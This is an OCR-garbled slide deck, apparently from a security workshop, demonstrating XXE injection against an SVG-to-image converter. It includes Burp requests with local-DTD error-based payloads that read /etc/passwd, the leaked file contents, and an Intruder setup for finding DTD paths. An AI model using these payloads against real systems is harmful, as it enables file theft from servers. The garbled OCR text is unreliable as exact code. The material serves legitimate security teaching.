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IMAGiInE Converter

Simple and easy image conversion.

<?xml version="1.0"72>
<svg zmlns="http://www.w3.org/2000/svg"” width="12cm"
height="1Zcm">
<g style="fill-opacity:0.7; stroke:black; stroke-
width:0.1lcm; ">
<circle ecx="6cm" cy="2cm" r="100" style="fill:red;"
transform="translate (0,50})" />
<circle cx="6cm" cy="2cm" r="100" style="fill:blue;"
transform="translate (70,150})" />
<circle cx="6cm" cy="2cm" r="100" style="fill:green;"
transform="translate (-70,150)"/>
</g>
</svg>

Preview




What if ...

* The XML parsed is not returned
 Network side-channel are not possible
(aggressive network filter)




Exfiltrating data using exception

ID XML
File Not Found

R
—

The filename will contain the data
we want to exfiltrate.




Just a test..

1 x 2 x| 3 x|4x|5=6=x|7=x

Go Cancel

Request

Raw Params Headers Hex f File that does not eXiSt On the

GET /convertImage.action?svg=<Burlencods 0><!DOCTYPE
<!ENTITY test SYSTEM "file:///hellohackinparis|'>

Target: http:/ /xxe-workshop.gosec.co:8022

remote file system

1>
<zvg xmwlns="http://www.w3.org/2000/svy"” width="1Zcm" height="12cm">
<text x="I0" y="35" class="small"r&test:</text>
<g style="fill-opacicy:0.7; strokes:black; stroke-width:0.lcm; ">
<gircle ex="gocm" cy="Icm" r="100" style="fill:red;"
transform="translate (0,50)" />
<circle cx="gcm" cy="Icm" r="100" style="fill:blue;"
transform="translate (70,150)" />
<gircle cx="gcm" cy="Icm" r="100" style="fill:green;"™
transform="translate (=70, 150} "/>

</ =
</ svg=
<@/urlencode 0> HTTP/L.1
Host: xxe-workshop.gosec.co:B0Z2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:57.0) Gecko/2010010L Firefox/57.0
Aocept: */*
Aecept-Languags: en-US,en;q=0.5
Aecept-Encoding: gzip, deflate
Referer: http://xxe-workshop.gosec.co:8022
Cookis: JSESSTONID=41FIS5A074665F7LE07IEI0ECE5TTALC
Connection: close

v

Type & search term 0 matches

Response

Raw Headers Hex HTML Render
<tdr<strong-Messages</strong>:</td>

Sys— - Exception detail is displayed

Enclosed Exception:
fhellohackinparis (Mo such file or directory)</li>
<lirorg.apache.batik.tr r.Tr rException: null

Enclosed Exception:
fhellohackinparis (He such file or directory)</li>
</ol>
</td>
</tre
<tE>
<tdr<strong>File</strongs:</cd>
<tdrorgfapache/batik/transcoder /XMLAbstractTranscoder.java</td>
</tre
<tE>
<tdr<strong=Line number</strongs>:</td>
<rd>136</Tad> v

Type a search term | 0 matches

Done 18,480 bytes | 102 millis




Can we do a concatenation trick without
external DTD ?

Yes We Can !

1. Initialize local DTD

2. Overrides one of its entity
3. Evaluate ELEMENT and ENTITY from the local DTD

The final evaluation should trigger the injection of new entities doing
the same concatenation trick used in external DTD.

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/



https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

Useful DTD example

[...]
<IENTITY % constant
'int|double|string| matrix|bool|charset|langset|const'>

<IELEMENT patelt (%constant;)*>
[...]




Injecting into an ELEMENT

[...]
<IENTITY % constant '> <IELEMENT dummy(123 ">

<IELEMENT patelt (%constant;)*>
[...]




What malicious entities are we injecting?

<IENTITY % file SYSTEM "file:///etc/passwd">

<IENTITY % eval "<IENTITY &#x25; error SYSTEM
! %file;'>">

File content

Just to make sure the exception is
triggered

When %eval will be evaluated the concatenation will occurs.



Putting everything together

Some additional encoding

[...]
<IENTITY % constant '>

<IELEMENT
dummy(123 '>

<IELEMENT patelt (%constant;)*>
[...]




In Burp

1 = 2% 3 % 4= 5= g= F=

Go Cancel | (< v |> ¥ Target: http:/ /xxe-workshop.gosec.co:8022 | & |7

Request

Raw Params Headers Hex

GET /convertImage.actiDn?svg=<@urlencode_D><!DOCTYPE svg [ ~
<!ENTITY % local dtd STSTEM "file:///usr/share/xzml/fontconfig/fonts.dtd"s
<!ENTITY % constant 'int)> <!ENTITY &#xZ5; file SYSTEM "file:///etc/passwd"> <!ENTITY &#x25; eval "<!'ENTITY
Efx26;#x25; error SYSTEM &ffx27;file:///nonexistent/&H#=x25;file; £fx27;>"> &H#x25;eval; &HxZ5;error; <!ELEMENT yolo
(123'>
Slocal ded;
1=
<svyg xmlns="http://www.w3.org/2000/svyg" width="12cm" height="1Zcm">
<text ®="20" y="35" class="small"></text>
<g style="fill-cpacity:0.7; stroke:black: stroke-width:0. lcm; ">
<circle cx="gcm" cy="IZcm" r="100" style="fill:red;"
transform="translate (0,50)" />
<circle cx="gcm" cy="IZcom" r="100" style="fill:blu=s;"
transform="translate (70,150} "™ />
<circle cx="gcm" cy="Ilcm" r="100" style="fill:green;"
transform="translate (-70,150) "/ />
</
</ svg> W

2| =] |} =] | Type a searc

0 matches

Response

Raw Headers Hex HTML Render

<liznull ~
Enclosed Exception:
[nonexistent froot:x:0:0:ro00t: froot: /bin/bash
daemon:x:1:1:daemon: fusr/shin: fusr/shin/noelogin
bin:x:2:2:bin: /bin: fusr/shin/nologin
sys:x:3:3:sys: fdev: fusr/fshin/nologin
sync:x:4:65534: sync: fbin: /bin/sync
games:x:5:60: games: fusrfgames: fusr/shin/nologin
man:x:6:12:man: fvarfcache/man: fusrfsbhbin/nologin
Ap:x:7:7:1p: fvarfspool/lpd: fusr/shin/nologin
mail:x:&:8:mail: fvar/mail: fusr/shin/nologin
news:x:9:9:news: fvar/spool/news: fusr/shin/nologin
uucp:x:10:10:uucp: fvarfspoolfuucp: fusr/shin/nologin
proxy:x:13:13:proxy: /bin: fusr/shin/nologin
www-data:x:33:33 :www-data: fvar/www: fusr/shin/nologin
backup:x:34:34:backup: /var /backups: fusr/shin/nologin
list:x:38:38:Mailing List Manager: fvar/list: /usr/shin/nologin
irc:x:39:39:ircd: fvar/run/fircd: fusr/sbin/nologin
gnats:x:41:41:G6Gnats Bug-Reporting System (admin):/var/flib/gnats: fusr/sbin/nologin
nobody:x:65534: 65534 ::nobody: /fmnonexistent: fusr/shin/noelogin
systemid-timesync:x:100:103:systemd Time Synchronization,,,:frun/systemd: /bin/false
systemd-network:x:101:104:systemd Wetwork Management, ,,:/run/systemd/netif: /bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/frun/systemd/resolve: fbinffalse
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:frun/systemd: /binffalse
messagebus:x:104:107: : fvar/frun/dbus: fbinffalse (Mo such file or directory)</Lli>
<lizorg. anache _hatik.transcoder . TransocoderFycention: nnll N

2|1 =||+]||=]| | Type a searc

0 matches

Done 23,436 bytes | 131 millis



How did you find the DTD in the first place ?

1 =« 2 =

Target FPositions Payloads Options

2 | Payload Positions Start attack

"

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads
are assigned to payload positions - see help for full details.

Attack type: | Sniper w

GET /eoconvertImage.action?svg=5%/hellohackinparisg HTTE/1.1 ﬁ
Host: =Zxe-workshop.gosec.co:8022

Tser—-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64; rv:57.0) Gecko/20100101 Firefox/57.0 Clear §
Locept: */*

Locept-Language: en-US,en;gq=0.5

Locept-Encoding: gzip, deflatce

Feferer: http://xxe-workshop.gosec.co:8022/7

Cookie: JIESSTONID=41FISL5A0746c5F7LEET7ZEZ0EC95TTALZC
Connection: close

Add §

Auto §

Refresh

Using Intruder and the exception
telling us if the file exists or not




Intruder configuration

1 x 2 %

Target Positions Payloads 0Options

? | Payload Sets

Payload set: |1 w Payload count: 66 (approx)

Fayload type:  Runtime file ~ Request count: 66 (approx)

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab.
Various payload types are available for each payload set, and each payload type can be customized in different ways.

? | Payload Options [Runtime file]
This payload type lets you configure a file from which to read payload strings at runtime.
Select file ... bsite\01_»xxe\local_dtd_bonus_8022\dtd_files.txt
? | Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Start attack

<text x—'20" y=1351

Add Enabled Rule
Edit Add Prefix: <IDOCTYPE svg [ <!ENTITY test SYSTEM "fila://
iAdd Suffie: "> 1> <svg xmins="http://woaw.w3.org/2000/svg" width="12cm" height="12cm">
Remaove URL-encode all characters
up
Dawn

? | Payload Encoding

A1IR camrmnda Fhaces rlh=arsmbaros | e D@ A

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.




Extracting the list of available DTD

B! Intruder attack 1 — O *
Attack Save Columns
Results Target Positions Payloads Options
Filter: Showing all items ?
? Filter by search term Filter by status code Filter by annotation
2xx [success] n
Mo such file or directory]
¢ [redirection] [] Show only commented items
[] Regex
4xx [request error] ] Show only highlighted items
[] Case sensitive Megative search
Sxx [server error]
Show all Hide all
9 Yo CYel1%ea4%eded 3% 04 %0, [2U0 [ L 18438
10 63C%21 %44 %6454 3%54%59... |200 O O 18438
11 06300021 %44 %4 243%54%59... |200 A [ 18442
12 %63C%%21%44%4%043%54%59... |200 O O 18426
13 %63C% 21 %44 %4 %4 3%54%59... |200 ] [ 18410 v
Request Response
Raw Headers Hex HTML Render
<li>null ~
Enclosed Exception:
Jroot fusr/sharefdoc/rh-python35s-python-docutils-0.12fdocs/reffdocutils.dtd (Ho such file or directory)</lix
<lizorg.apache .batik.transcoder. TranscoderException: nmll
Enclosed Exception:
Jrootfusr/sharefdoc/rh-python35s-python-docutils-0.12fdocs/reffdocutils.dtd (Mo such file or directory)</li=
<fol>
<ftd>
<ftr>
<tr>
<tdr<strongrFile</strong>:</td>
<tr>nrafanache Mhatik/transnader /¥MLAh=tractTransoader  Gava</tos 7
2| (2] | 2] | =] | Tvpe a search term 0 matches
i 5y ]




DTD found |

Intruder attack 1 — O *

Attack Save Columns

Results Target Positions Payloads Options

Filter: Mot matching expression no such file or directory

-~
Request Payload Status Errar Timeout Length Comment
0 200 O [l 18432
%53C%21%44%4%43%54%59... |200 ] Il 18446
Converted text X

| Copy to clipboard
=<!DOCTYPE svi [ <!ENTITY test STSTEHN ”~
"file:///usr/share/xml/fontconfig/fonts. ded"> 1> <svqg
¥mlns="http://www.w3.ocg/ 2000/ svg" width="1Zcm" height="1Zcm">
<text x="I0" y="3I5" class="smal%

L

Request Response | Type @ search term 0 matches

Raw Params Headers Hex

GET -
JconvertImage.action?svg=%3c321%44%4£%43%54%59%550%455%20%73%76567%20%5b%20%20%20%20%20%20%3c%21%45%42%54%49%554%59%
203 74%65%73%74520%53%093% 5335454 50%4cd%2Z05 225665693 6CYE0%3a% 232523 70% 7337232 % 735608%61372565%2 L5783 6% 6Cc52T%6656T
5Ees 7 A5 6356565 6E569% 6752 f5 66565565 72573525645 7456452253e520%0d%3e520%3 5735765675205 78%6d56c5 6% 7353d%22%685%7
45743703 3as 2L 2L T IS 7 IS 77 2 773333 2 B s T2 B 7S 2 fS 325305 30% 305 2 L8 T35 TES 6% 225208 7TV E0% 625 T4E6B5 3% 225315323 63% 6%
22%20%EB%E5% 695675683 7T4%3dY¥ 2253 1%32%6356d4%22%3e320%20%20%20%2053c% 74565578 745205 7B%3d522%32%30%22%20%79%3d%225%33
535% 005 20%E3%EcsE 1S T3% T35 3d% oS T35 Eds Bl EcYEcsIi%3e%lEsTa%E5%73%74%3bs3 s 5745655785 74%3e%20%20%20%20%20%3 0% E7%2
0% 3% 745795 6csE5%3dS oS EE%E0% A By ds EEs TOSE 1S 635695745 79%3a%30% 25375 3b3 0% 7357453 725 65 EbY E5%3a%62%6c%E1% 63 % 6hs
s IR TR TS IS ELs e s EnR 2N TS EDSE45 VAN E0%3a%30% 233 15 E3% 6% 3D 225325 0%20%20%Z20%20%20% 205 20%20%3 0% 63%E£9%T72%63% 60
BN IDSE3 VO 3% 2N 3 N3 % EdN o0 E3 s TOs 3N N3 2% E3% 0N 22520 VI 3d% 223 L3 0% 305225205 738748 7O ECSE0% 3% 225 66%69%6
B 3as 7o eSS B4 3hS IS 20200 0% 205205205 205 205205205 20% 205 205 20% 205 205 745 725 615 65 735 665 6E5 725 6AS3AS 225745725
AR YL E YL YRR WL LT Selat cTnk Stk Soiot SoAnk S0t Joded Jeduk Tolat Jo-L Sodub Sedut Jedukt Jednt Sodnk Seduk Jelnt SelnE Sednb SeTat Wk FOm L r ek FOKE ¥olot Wolot MOANE Folk WAL Tl L Jodel

<||+ ‘r". Type a search term 0 matches
[2] ¥

Finished

L




Contact

parteau@gosecure.ca
& gosecure.net/blog/
YW @h3xStream @GoSecure_Inc




